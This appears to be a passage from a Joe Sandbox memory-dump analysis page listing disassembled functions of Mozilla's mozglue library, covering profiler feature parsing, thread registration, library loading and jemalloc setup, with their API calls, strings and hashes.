Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aea843f22ef4c101d67a6feaeeb946384159e2d2f72781e52911657a73df010
Instruction ID: 8de2218c6cf0b0a05440e67fe6e068a2afcb8c294401b4f86abfa90cf5d9e5fa
Opcode Fuzzy Hash: 8aea843f22ef4c101d67a6feaeeb946384159e2d2f72781e52911657a73df010
Instruction Fuzzy Hash: 7FF11671A087458FD700CF38CC917AABBF2AFC9319F158A2DE4E487781E77498498792

Function 6C57C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 1aeeb4e4d3ddf7f52e5d91125b22f74d1ce167f1bc3158c2e8e1c2c56acf0160
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: A8A1C471F0021A8FDB18DE69C8913AEB7F2AFC8354F188129D915E7781DB346C468BE0

Function 6C5B7710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 06e246c1a607ade15405059ad0e2492b1afd76c93aafbc67e0252dc9c591594d
Instruction ID: 9e5f15eff887dac8fc53f6238ee4a1802f8db3238814c8e4be5f1c501bc8af91
Opcode Fuzzy Hash: 06e246c1a607ade15405059ad0e2492b1afd76c93aafbc67e0252dc9c591594d
Instruction Fuzzy Hash: 0D713C75E012198FCB18CFA9D8A05EDBBB2FF89354F24816ED415BB780D731A945CBA0

Function 6C5BCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C58582D), ref: 6C5BCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C58582D), ref: 6C5BCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5EFE98,?,?,?,?,?,6C58582D), ref: 6C5BCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C58582D), ref: 6C5BCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C58582D), ref: 6C5BCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C58582D), ref: 6C5BCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C58582D), ref: 6C5BCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C5BCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C5BCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C5BCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C5BCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C5BCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C5BCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C5BCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C5BCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C5BCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C5BCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C5BCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C5BCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C5BCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C5BCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C5BCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C5BCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C5BCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C5BCE8A

Strings

processcpu, xrefs: 6C5BCE6E
power, xrefs: 6C5BCE84
preferencereads, xrefs: 6C5BCD92
markersallthreads, xrefs: 6C5BCE42
java, xrefs: 6C5BCC37
Unrecognized feature "%s"., xrefs: 6C5BCEA0
noiostacks, xrefs: 6C5BCCBE
nostacksampling, xrefs: 6C5BCD7C
screenshots, xrefs: 6C5BCCD4
nativeallocations, xrefs: 6C5BCDA8
notimerresolutionchange, xrefs: 6C5BCE00
mainthreadio, xrefs: 6C5BCC7C
leaf, xrefs: 6C5BCC66
fileio, xrefs: 6C5BCC92
unregisteredthreads, xrefs: 6C5BCE58
samplingallthreads, xrefs: 6C5BCE2C
fileioall, xrefs: 6C5BCCA8
seqstyle, xrefs: 6C5BCCE6
ipcmessages, xrefs: 6C5BCDBE
default, xrefs: 6C5BCC21
cpuallthreads, xrefs: 6C5BCE16
audiocallbacktracing, xrefs: 6C5BCDD4
jsallocations, xrefs: 6C5BCD0E
stackwalk, xrefs: 6C5BCCF8

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: c9d1e011bbaf6b9ee0aabc98942e9679e0bf735a798569ca8ae17e99b98824f6
Instruction ID: de432c7a49d9f47f01f0c4ef14e6aee18f1415c67b931f9b6807b01d7317afd2
Opcode Fuzzy Hash: c9d1e011bbaf6b9ee0aabc98942e9679e0bf735a798569ca8ae17e99b98824f6
Instruction Fuzzy Hash: 5551DCF4A0536595FA05311D6D30BAE1C04EB9B24AF144436ED26B5E80FF24F60A46BF

Function 6C5847C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C584801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C584817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C58482D
__Init_thread_footer.LIBCMT ref: 6C58484A

Part of subcall function 6C5AAB3F: EnterCriticalSection.KERNEL32(6C5FE370,?,?,6C573527,6C5FF6CC,?,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB49
Part of subcall function 6C5AAB3F: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C573527,6C5FF6CC,?,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AAB7C

GetCurrentThreadId.KERNEL32 ref: 6C58485F
GetCurrentThreadId.KERNEL32 ref: 6C58487E
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C58488B
free.MOZGLUE(?), ref: 6C58493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C584956
free.MOZGLUE(00000000), ref: 6C584960
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C58499A

Part of subcall function 6C5AAB89: EnterCriticalSection.KERNEL32(6C5FE370,?,?,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284), ref: 6C5AAB94
Part of subcall function 6C5AAB89: LeaveCriticalSection.KERNEL32(6C5FE370,?,6C5734DE,6C5FF6CC,?,?,?,?,?,?,?,6C573284,?,?,6C5956F6), ref: 6C5AABD1

free.MOZGLUE(?), ref: 6C5849C6
free.MOZGLUE(?), ref: 6C5849E9

Part of subcall function 6C595E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C595EDB
Part of subcall function 6C595E90: memset.VCRUNTIME140(ew]l,000000E5,?), ref: 6C595F27
Part of subcall function 6C595E90: LeaveCriticalSection.KERNEL32(?), ref: 6C595FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C584812
[I %d/%d] profiler_shutdown, xrefs: 6C584A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C584A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5847FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C584828

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 2fd263436d911f602112c21623878b83c985e7c543666cfa16fb2fe1269f8c66
Instruction ID: 689c79a87a5a2e5c7f61c9dc6b14ae8d93e7e59097ae68777db3f78b3db90232
Opcode Fuzzy Hash: 2fd263436d911f602112c21623878b83c985e7c543666cfa16fb2fe1269f8c66
Instruction Fuzzy Hash: 8A811270A02120CBDB18DF28DCA871A37B9EB42318F550625DD26DBF41E735E855CF9A

Function 6C584470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C584730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5844B2,6C5FE21C,6C5FF7F8), ref: 6C58473E
Part of subcall function 6C584730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C58474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5844D2
InitOnceExecuteOnce.KERNEL32(6C5FF80C,6C57F240,?,?), ref: 6C58451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C58455C
LoadLibraryW.KERNEL32(?), ref: 6C584592
InitializeCriticalSection.KERNEL32(6C5FF770), ref: 6C5845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5845BB
InitOnceExecuteOnce.KERNEL32(6C5FF818,6C57F240,?,?), ref: 6C584612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C584636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C584644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C58466D
VerSetConditionMask.NTDLL ref: 6C58469F
VerSetConditionMask.NTDLL ref: 6C5846AB
VerSetConditionMask.NTDLL ref: 6C5846B2
VerSetConditionMask.NTDLL ref: 6C5846B9
VerSetConditionMask.NTDLL ref: 6C5846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5846FD

Strings

WRusr.dll, xrefs: 6C5844B5
G_l, xrefs: 6C5844FC
user32.dll, xrefs: 6C584557, 6C58463F
l, xrefs: 6C584578
NativeNtBlockSet_Write, xrefs: 6C5846F7
kernel32.dll, xrefs: 6C5844CD

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G_l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3345054983
Opcode ID: cce0e5c71d042b2cd777145087aaa86123e7d0197e055ac0bafc31edde403de1
Instruction ID: 0ada75de9a28c0126d273a4a2acef96f59cf8230ac04a3d0fc4abac6d14fe67a
Opcode Fuzzy Hash: cce0e5c71d042b2cd777145087aaa86123e7d0197e055ac0bafc31edde403de1
Instruction Fuzzy Hash: 85615CB0A01358EFEB089F61DC45B99BBFCEF46308F058658E924CBA81D7B49946CF54

Function 6C5BF6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BF70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C5BF8F9

Part of subcall function 6C586390: GetCurrentThreadId.KERNEL32 ref: 6C5863D0
Part of subcall function 6C586390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5863DF
Part of subcall function 6C586390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C58640E

ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF93A
GetCurrentThreadId.KERNEL32 ref: 6C5BF98A
GetCurrentThreadId.KERNEL32 ref: 6C5BF990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF716

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

Part of subcall function 6C57B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C57B5E0

GetCurrentThreadId.KERNEL32 ref: 6C5BF739
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BF746
GetCurrentThreadId.KERNEL32 ref: 6C5BF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5F385B,00000002,?,?,?,?,?), ref: 6C5BF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5BF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5BF866
free.MOZGLUE(?), ref: 6C5BFA0C

Part of subcall function 6C585E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5855E1), ref: 6C585E8C
Part of subcall function 6C585E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C585E9D
Part of subcall function 6C585E60: GetCurrentThreadId.KERNEL32 ref: 6C585EAB
Part of subcall function 6C585E60: GetCurrentThreadId.KERNEL32 ref: 6C585EB8
Part of subcall function 6C585E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C585ECF
Part of subcall function 6C585E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C585F27
Part of subcall function 6C585E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C585F47
Part of subcall function 6C585E60: GetCurrentProcess.KERNEL32 ref: 6C585F53
Part of subcall function 6C585E60: GetCurrentThread.KERNEL32 ref: 6C585F5C
Part of subcall function 6C585E60: GetCurrentProcess.KERNEL32 ref: 6C585F66
Part of subcall function 6C585E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C585F7E

free.MOZGLUE(?), ref: 6C5BF9C5
free.MOZGLUE(?), ref: 6C5BF9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C5BF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5BF9A6
" attempted to re-register as ", xrefs: 6C5BF858
Thread , xrefs: 6C5BF789

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: a5fcb79b1cc7c144b030720f802c268c3bc1d9931c8f77232a877ec582786e4f
Instruction ID: 8719bb61c826ef657704092f48398cba9155f7063f3bef0f6c6c1c14dd0ddd91
Opcode Fuzzy Hash: a5fcb79b1cc7c144b030720f802c268c3bc1d9931c8f77232a877ec582786e4f
Instruction Fuzzy Hash: E9810079600204DFDB149F24CC50AAEBBE5EFC5308F41466DE855ABB51EB31AC49CBA2

Function 6C5BEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C584A68), ref: 6C5B945E
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B9470
Part of subcall function 6C5B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B9482
Part of subcall function 6C5B9420: __Init_thread_footer.LIBCMT ref: 6C5B949F

GetCurrentThreadId.KERNEL32 ref: 6C5BEE60
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEE6D
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5BEEA5
CloseHandle.KERNEL32(?), ref: 6C5BEEB4
free.MOZGLUE(00000000), ref: 6C5BEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5BEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BEECF

Part of subcall function 6C5BDE60: GetCurrentThreadId.KERNEL32 ref: 6C5BDE73
Part of subcall function 6C5BDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C584A68), ref: 6C5BDE7B
Part of subcall function 6C5BDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C584A68), ref: 6C5BDEB8
Part of subcall function 6C5BDE60: free.MOZGLUE(00000000,?,6C584A68), ref: 6C5BDEFE
Part of subcall function 6C5BDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5BDF38

Part of subcall function 6C5ACBE8: GetCurrentProcess.KERNEL32(?,6C5731A7), ref: 6C5ACBF1
Part of subcall function 6C5ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5731A7), ref: 6C5ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C5BEF1E
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEF2B
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEF59
GetCurrentThreadId.KERNEL32 ref: 6C5BEFB0
AcquireSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEFBD
ReleaseSRWLockExclusive.KERNEL32(6C5FF4B8), ref: 6C5BEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5BEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BF000

Part of subcall function 6C5B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5B94EE
Part of subcall function 6C5B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5B9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5BF02F

Part of subcall function 6C5BF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5BF09B
Part of subcall function 6C5BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5BF0AC
Part of subcall function 6C5BF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5BF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C5BF008
[I %d/%d] profiler_stop, xrefs: 6C5BEED7

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 61724cbc56f1cd247d9dd313c08243acaf1500a89705a88cdcf19b49f618a5d0
Instruction ID: 8efe33391ee7f3ecfabedf3cb41d14030e295e712bf8d59763692a70909672e2
Opcode Fuzzy Hash: 61724cbc56f1cd247d9dd313c08243acaf1500a89705a88cdcf19b49f618a5d0
Instruction Fuzzy Hash: B551F335600214DFEB08AB64EC1C7997BF4EB86318F160656EA75D3F80D7724805CFAA

Function 6C5AD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5FE804), ref: 6C5AD047
GetSystemInfo.KERNEL32(?), ref: 6C5AD093
__Init_thread_footer.LIBCMT ref: 6C5AD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5FE810,00000040), ref: 6C5AD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7B8,00001388), ref: 6C5AD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE744,00001388), ref: 6C5AD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE784,00001388), ref: 6C5AD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5FE7DC,00001388), ref: 6C5AD1B1

Strings

MOZ_CRASH(), xrefs: 6C5AD277
<jemalloc>, xrefs: 6C5AD268, 6C5AD311
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5AD322
MALLOC_OPTIONS, xrefs: 6C5AD0CB
Compile-time page size does not divide the runtime one., xrefs: 6C5AD26D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
